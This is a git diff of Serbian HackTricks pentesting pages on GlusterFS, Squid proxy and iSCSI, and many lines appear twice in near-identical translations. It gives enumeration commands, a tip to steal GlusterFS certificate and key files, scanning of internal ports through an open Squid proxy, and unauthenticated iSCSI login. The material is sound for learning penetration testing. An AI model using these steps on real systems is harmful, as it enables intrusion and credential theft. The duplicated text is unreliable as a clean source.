* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Osnovne informacije
**GlusterFS** je **distribuirani fajl sistem** koji kombinuje skladištenje sa više servera u jedan **ujedinjeni sistem**. Omogućava **proizvoljno skaliranje**, što znači da možete lako dodavati ili uklanjati servere za skladištenje bez narušavanja celokupnog fajl sistema. Ovo obezbeđuje visoku **dostupnost** i **otpornost na greške** za vaše podatke. Sa GlusterFS-om, možete pristupiti svojim fajlovima kao da su lokalno smešteni, bez obzira na osnovnu serversku infrastrukturu. Pruža moćno i fleksibilno rešenje za upravljanje velikim količinama podataka na više servera.
**GlusterFS** je **distribuisani fajl sistem** koji kombinuje skladište sa više servera u jedan **ujedinjeni sistem**. Omogućava **arbitrarno skaliranje**, što znači da možete lako dodavati ili uklanjati skladišne servere bez ometanja celokupnog fajl sistema. Ovo osigurava visoku **dostupnost** i **toleranciju na greške** za vaše podatke. Sa GlusterFS-om, možete pristupiti svojim fajlovima kao da su smešteni lokalno, bez obzira na osnovnu server infrastrukturu. Pruža moćno i fleksibilno rešenje za upravljanje velikim količinama podataka na više servera.
**Podrazumevani portovi**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (nadalje)\
Za port 49152, potrebno je otvoriti portove sa inkrementiranim brojevima za korišćenje više "bricks"-ova. _Ranije se koristio port 24009 umesto 49152._
Za port 49152, portovi koji se povećavaju za 1 moraju biti otvoreni da bi se koristilo više "bricks". _Prethodno je korišćen port 24009 umesto 49152._
```
PORT STATE SERVICE
24007/tcp open rpcbind
49152/tcp open ssl/unknown
```
## Enumeracija
## Enumeration
Da biste interagirali sa ovim fajl sistemom, morate instalirati [**GlusterFS klijent**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`).
Da biste interagovali sa ovim fajl sistemom, potrebno je da instalirate [**GlusterFS klijent**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`).
Da biste videli i montirali dostupne volumene, možete koristiti:
Da biste prikazali i montirali dostupne volumene, možete koristiti:
```bash
sudo gluster --remote-host=10.10.11.131 volume list
# This will return the name of the volumes
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
```
Ako dobijete **grešku prilikom montiranja datotečnog sistema**, možete proveriti logove u `/var/log/glusterfs/`
Ako primite **grešku prilikom pokušaja montiranja datotečnog sistema**, možete proveriti logove u `/var/log/glusterfs/`
**Greške koje pominju sertifikate** mogu se popraviti krađom datoteka (ako imate pristup sistemu):
**Greške koje se odnose na sertifikate** mogu se ispraviti krađom datoteka (ako imate pristup sistemu):
* /etc/ssl/glusterfs.ca
* /etc/ssl/glusterfs.key
* /etc/ssl/glusterfs.ca.pem
I smeštanjem istih na vašu mašinu u direktorijum `/etc/ssl` ili `/usr/lib/ssl` (ako se koristi drugi direktorijum, proverite linije slične: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" u logovima).
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
I čuvanjem u vašem računaru u direktorijumu `/etc/ssl` ili `/usr/lib/ssl` (ako se koristi drugačiji direktorijum, proverite linije slične: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" u logovima).

View file

@ -1,45 +1,46 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Osnovne Informacije
# Osnovne informacije
Sa [Vikipedije](https://en.wikipedia.org/wiki/Squid\_\(software\)):
> **Squid** je keširajući i prosleđujući HTTP web proxy. Ima širok spektar upotreba, uključujući ubrzanje web servera keširanjem ponovljenih zahteva, keširanje web, DNS i drugih mrežnih pretraga za grupu ljudi koji dele mrežne resurse, i pomaže u bezbednosti filtriranjem saobraćaja. Iako se uglavnom koristi za HTTP i FTP, Squid uključuje ograničenu podršku za nekoliko drugih protokola uključujući Internet Gopher, SSL, TLS i HTTPS. Squid ne podržava SOCKS protokol, za razliku od Privoxy-a, sa kojim se Squid može koristiti kako bi pružio podršku za SOCKS.
> **Squid** je HTTP web proxy koji kešira i prosleđuje. Ima širok spektar upotreba, uključujući ubrzavanje web servera keširanjem ponovljenih zahteva, keširanje web, DNS i drugih pretraga računarskih mreža za grupu ljudi koji dele mrežne resurse, i pomoć u bezbednosti filtriranjem saobraćaja. Iako se prvenstveno koristi za HTTP i FTP, Squid uključuje ograničenu podršku za nekoliko drugih protokola uključujući Internet Gopher, SSL, TLS i HTTPS. Squid ne podržava SOCKS protokol, za razliku od Privoxy-a, sa kojim se Squid može koristiti kako bi se obezbedila SOCKS podrška.
**Podrazumevani port:** 3128
```
PORT STATE SERVICE VERSION
3128/tcp open http-proxy Squid http proxy 4.11
```
# Enumeracija
# Enumeration
## Veb proxy
## Web Proxy
Možete pokušati da postavite ovu otkrivenu uslugu kao proxy u svom pregledaču. Međutim, ako je konfigurisan sa HTTP autentifikacijom, bićete zamoljeni da unesete korisničko ime i lozinku.
Možete pokušati da postavite ovu otkrivenu uslugu kao proxy u vašem pretraživaču. Međutim, ako je konfigurisana sa HTTP autentifikacijom, bićete upitani za korisnička imena i lozinke.
```bash
# Try to proxify curl
curl --proxy http://10.10.11.131:3128 http://10.10.11.131
```
## Nmap proxified
Takođe možete pokušati zloupotrebiti proxy da **skenirate interne portove koristeći nmap preko proxy-ja**.\
Konfigurišite proxychains da koristi squid proxy dodavanjem sledeće linije na kraj datoteke proxichains.conf: `http 10.10.10.10 3128`
Za proksije koji zahtevaju autentifikaciju, dodajte akreditive u konfiguraciju uključivanjem korisničkog imena i lozinke na kraju: `http 10.10.10.10 3128 korisničko_ime lozinka`.
Možete takođe pokušati da zloupotrebite proxy da **skenirate interne portove proxifikujući nmap**.\
Konfigurišite proxychains da koristi squid proxy dodajući sledeću liniju na kraj proxichains.conf datoteke: `http 10.10.10.10 3128`
Za proksije koji zahtevaju autentifikaciju, dodajte akreditive u konfiguraciju uključujući korisničko ime i lozinku na kraju: `http 10.10.10.10 3128 korisničko_ime lozinka`.
Zatim pokrenite nmap sa proxychains-om da **skenirate host sa lokalnog**: `proxychains nmap -sT -n -p- localhost`
Zatim pokrenite nmap sa proxychains da **skenirate host sa lokalnog**: `proxychains nmap -sT -n -p- localhost`
## SPOSE Scanner
@ -47,16 +48,17 @@ Alternativno, može se koristiti Squid Pivoting Open Port Scanner ([spose.py](ht
```bash
python spose.py --proxy http://10.10.11.131:3128 --target 10.10.11.131
```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,163 +1,92 @@
# 3260 - Pentestiranje iSCSI
# 3260 - Pentesting ISCSI
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Osnovne informacije
## Basic Information
Sa [Wikipedia](https://en.wikipedia.org/wiki/ISCSI):
From [Wikipedia](https://en.wikipedia.org/wiki/ISCSI):
> U računarstvu, **iSCSI** je akronim za **Internet Small Computer Systems Interface**, standard za umrežavanje skladišta zasnovan na Internet protokolu (IP) za povezivanje skladišnih objekata. Pruža pristup skladišnim uređajima na nivou bloka preko TCP/IP mreže. iSCSI se koristi za olakšavanje prenosa podataka preko intraneta i upravljanje skladištem na velikim udaljenostima. Može se koristiti za prenos podataka preko lokalnih mreža (LAN), širokopojasnih mreža (WAN) ili Interneta i omogućava skladištenje i dohvat podataka nezavisno od lokacije.
> In computing, **iSCSI** is an acronym for **Internet Small Computer Systems Interface**, an Internet Protocol (IP)-based storage networking standard for linking data storage facilities. It provides block-level access to storage devices by carrying SCSI commands over a TCP/IP network. iSCSI is used to facilitate data transfers over intranets and to manage storage over long distances. It can be used to transmit data over local area networks (LANs), wide area networks (WANs), or the Internet and can enable location-independent data storage and retrieval.
>
> Protokol omogućava klijentima (nazvanim inicijatorima) da šalju SCSI komande (CDB) uređajima za skladištenje (ciljevima) na udaljenim serverima. To je protokol za skladištenje na mreži (SAN), koji omogućava organizacijama da konsoliduju skladište u skladišne nizove, pružajući klijentima (kao što su baze podataka i veb serveri) iluziju lokalno povezanih SCSI diskova. Glavna konkurencija mu je Fibre Channel, ali za razliku od tradicionalnog Fibre Channel-a koji obično zahteva posebne kablove, iSCSI se može pokretati na velikim udaljenostima koristeći postojeću mrežnu infrastrukturu.
> Protokol omogućava klijentima (nazvanim inicijatori) da šalju SCSI komande (CDB) uređajima za skladištenje (ciljevi) na udaljenim serverima. To je protokol skladišne mreže (SAN), koji omogućava organizacijama da konsoliduju skladište u skladišne nizove dok klijentima (kao što su serveri za baze podataka i web serveri) pruža iluziju lokalno povezanih SCSI diskova. Glavni konkurent mu je Fibre Channel, ali za razliku od tradicionalnog Fibre Channel-a koji obično zahteva posvećeno kabliranje, iSCSI može raditi na velikim udaljenostima koristeći postojeću mrežnu infrastrukturu.
**Podrazumevani port:** 3260
**Default port:** 3260
```
PORT STATE SERVICE VERSION
3260/tcp open iscsi?
```
## Enumeracija
### iSCSI (Internet Small Computer System Interface)
iSCSI je standardni protokol za prenos blok podataka preko IP mreže. Koristi se za povezivanje i upravljanje skladištima podataka na daljinu. Da biste započeli proces penetracije iSCSI servisa, prvo morate izvršiti enumeraciju kako biste identifikovali dostupne mete i otkrili potencijalne slabosti.
#### Portovi
iSCSI koristi dva glavna TCP/IP porta:
- Port 860: Standardni port za iSCSI servis
- Port 3260: Alternativni port za iSCSI servis
#### Identifikacija mete
Da biste identifikovali mete iSCSI servisa, možete koristiti različite metode:
- Skeniranje otvorenih portova: Skenirajte ciljnu IP adresu kako biste pronašli otvorene portove 860 i 3260.
- Snifiranje mreže: Snimajte mrežni saobraćaj kako biste identifikovali iSCSI pakete koji se razmenjuju između klijenta i servera.
#### Otkrivanje servisa
Nakon identifikacije otvorenih portova iSCSI servisa, možete koristiti različite alate za otkrivanje servisa kako biste dobili više informacija o meti:
- `nmap`: Koristite nmap sa opcijom `-p` da biste skenirali otvorene portove iSCSI servisa.
- `iscsiadm`: Koristite iscsiadm alat za otkrivanje iSCSI servisa i dobijanje informacija o njima.
#### Identifikacija metapodataka
Kada otkrijete iSCSI servis, možete koristiti različite metode za identifikaciju metapodataka:
- `iscsiadm`: Koristite iscsiadm alat za prikupljanje informacija o metapodacima iSCSI servisa.
- `Wireshark`: Snimajte mrežni saobraćaj i koristite Wireshark za analizu iSCSI paketa kako biste dobili informacije o metapodacima.
#### Identifikacija korisnika
Da biste identifikovali korisnike iSCSI servisa, možete koristiti različite metode:
- `iscsiadm`: Koristite iscsiadm alat za prikupljanje informacija o korisnicima iSCSI servisa.
- `Wireshark`: Snimajte mrežni saobraćaj i koristite Wireshark za analizu iSCSI paketa kako biste dobili informacije o korisnicima.
#### Identifikacija ciljeva
Da biste identifikovali ciljeve iSCSI servisa, možete koristiti različite metode:
- `iscsiadm`: Koristite iscsiadm alat za prikupljanje informacija o ciljevima iSCSI servisa.
- `Wireshark`: Snimajte mrežni saobraćaj i koristite Wireshark za analizu iSCSI paketa kako biste dobili informacije o ciljevima.
#### Identifikacija LUN-ova
Da biste identifikovali LUN-ove (Logical Unit Numbers) iSCSI servisa, možete koristiti različite metode:
- `iscsiadm`: Koristite iscsiadm alat za prikupljanje informacija o LUN-ovima iSCSI servisa.
- `Wireshark`: Snimajte mrežni saobraćaj i koristite Wireshark za analizu iSCSI paketa kako biste dobili informacije o LUN-ovima.
#### Identifikacija CHAP autentifikacije
Da biste identifikovali CHAP (Challenge-Handshake Authentication Protocol) autentifikaciju iSCSI servisa, možete koristiti različite metode:
- `iscsiadm`: Koristite iscsiadm alat za prikupljanje informacija o CHAP autentifikaciji iSCSI servisa.
- `Wireshark`: Snimajte mrežni saobraćaj i koristite Wireshark za analizu iSCSI paketa kako biste dobili informacije o CHAP autentifikaciji.
#### Identifikacija ACL-ova
Da biste identifikovali ACL-ove (Access Control Lists) iSCSI servisa, možete koristiti različite metode:
- `iscsiadm`: Koristite iscsiadm alat za prikupljanje informacija o ACL-ovima iSCSI servisa.
- `Wireshark`: Snimajte mrežni saobraćaj i koristite Wireshark za analizu iSCSI paketa kako biste dobili informacije o ACL-ovima.
#### Identifikacija servisnih parametara
Da biste identifikovali servisne parametre iSCSI servisa, možete koristiti različite metode:
- `iscsiadm`: Koristite iscsiadm alat za prikupljanje informacija o servisnim parametrima iSCSI servisa.
- `Wireshark`: Snimajte mrežni saobraćaj i koristite Wireshark za analizu iSCSI paketa kako biste dobili informacije o servisnim parametrima.
```
nmap -sV --script=iscsi-info -p 3260 192.168.xx.xx
```
Ovaj skript će pokazati da li je potrebna autentifikacija.
Ovaj skript će pokazati da li je autentifikacija potrebna.
### [Brute force](../generic-methodologies-and-resources/brute-force.md#iscsi)
### [Montiranje ISCSI na Linuxu](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
### [Mount ISCSI na Linuxu](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
**Napomena:** Može se desiti da kada se otkriju ciljevi, oni budu navedeni pod drugom IP adresom. Ovo se obično dešava ako je iSCSI servis izložen putem NAT-a ili virtuelne IP adrese. U takvim slučajevima, `iscsiadmin` neće uspeti da se poveže. Potrebne su dve izmene: jedna u imenu direktorijuma čvorova koji su automatski kreirani tokom otkrivanja, i druga u `default` fajlu koji se nalazi unutar ovog direktorijuma.
**Napomena:** Možda ćete primetiti da kada su vaši ciljevi otkriveni, oni su navedeni pod drugom IP adresom. To se obično dešava ako je iSCSI usluga izložena putem NAT-a ili virtuelne IP adrese. U ovakvim slučajevima, `iscsiadmin` će se neuspešno povezati. Ovo zahteva dva podešavanja: jedno za ime direktorijuma čvora koji je automatski kreiran vašim aktivnostima otkrivanja, i jedno za `default` datoteku koja se nalazi unutar ovog direktorijuma.
Na primer, pokušavate da se povežete sa iSCSI ciljem na adresi 123.123.123.123 na portu 3260. Server koji izlaže iSCSI cilj je zapravo na adresi 192.168.1.2, ali je izložen putem NAT-a. isciadm će registrovati _internu_ adresu umesto _javne_ adrese:
Na primer, pokušavate da se povežete na iSCSI cilj na 123.123.123.123 na portu 3260. Server koji izlaže iSCSI cilj se zapravo nalazi na 192.168.1.2, ali je izložen putem NAT-a. isciadm će registrovati _internu_ adresu umesto _javne_ adrese:
```
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
[...]
```
Ova komanda će kreirati direktorijum u vašem fajl sistemu na sledeći način:
Ova komanda će kreirati direktorijum u vašem fajl sistemu kao što je ovaj:
```
/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/
```
Unutar direktorijuma se nalazi podrazumevani fajl sa svim podešavanjima potrebnim za povezivanje sa ciljem.
Unutar direktorijuma, postoji podrazumevajući fajl sa svim podešavanjima potrebnim za povezivanje sa ciljem.
1. Preimenuj `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` u `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/`
2. U fajlu `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`, promenite podešavanje `node.conn[0].address` tako da pokazuje na 123.123.123.123 umesto 192.168.1.2. Ovo se može uraditi komandom poput `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`
1. Preimenujte `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` u `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/`
2. Unutar `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`, promenite podešavanje `node.conn[0].address` da pokazuje na 123.123.123.123 umesto na 192.168.1.2. Ovo se može uraditi sa komandom kao što je `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`
Sada možete montirati cilj prema uputstvima u linku.
### [Montiranje ISCSI na Windows-u](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN)
### [Mount ISCSI on Windows](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN)
## **Ručno nabrojavanje**
## **Ručno enumerisanje**
```bash
sudo apt-get install open-iscsi
```
Prvo što trebate uraditi je **otkriti imena ciljeva** iza IP adrese:
Primer iz [iscsiadm docs](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm):
Prvo što treba da uradite je da **otkrijete imena ciljeva** iza IP adrese:
```bash
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
[2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382
[fe80::211:3232:fab9:1223]:3260,1 iqn.2000-01.com.synology:Oassdx.Target-1.d0280fd382
```
_Napomena da će prikazati I**P i port interfejsa** na kojima možete **dostići** te **mete**. Može čak prikazati i interne IP adrese ili različite IP adrese od one koju ste koristili._
_Napomena da će prikazati I**P i port interfejsa** gde možete **dostići** te **ciljeve**. Može čak **prikazati interne IP adrese ili različite IP adrese** od one koju ste koristili._
Zatim **uhvatite drugi deo ispisane niske svake linije** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ sa prve linije) i **pokušajte se prijaviti**:
Zatim **uhvatite 2. deo odštampanog stringa svake linije** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ iz prve linije) i **pokušajte da se prijavite**:
```bash
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --login
Logging in to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] (multiple)
Login to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
```
Zatim, možete **odjaviti se** koristeći `logout`
Zatim, možete **logout** koristeći `logout`
```bash
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --logout
Logging out of session [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260]
Logout of [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
```
Možemo pronaći **više informacija** o tome samo korišćenjem **bez** bilo kakvog parametra `--login`/`--logout`.
Možemo pronaći **više informacija** o tome jednostavno koristeći **bez** bilo kog `--login`/`--logout` parametra
```bash
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260
# BEGIN RECORD 2.0-873
@ -244,16 +173,17 @@ node.conn[0].iscsi.OFMarker = No
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
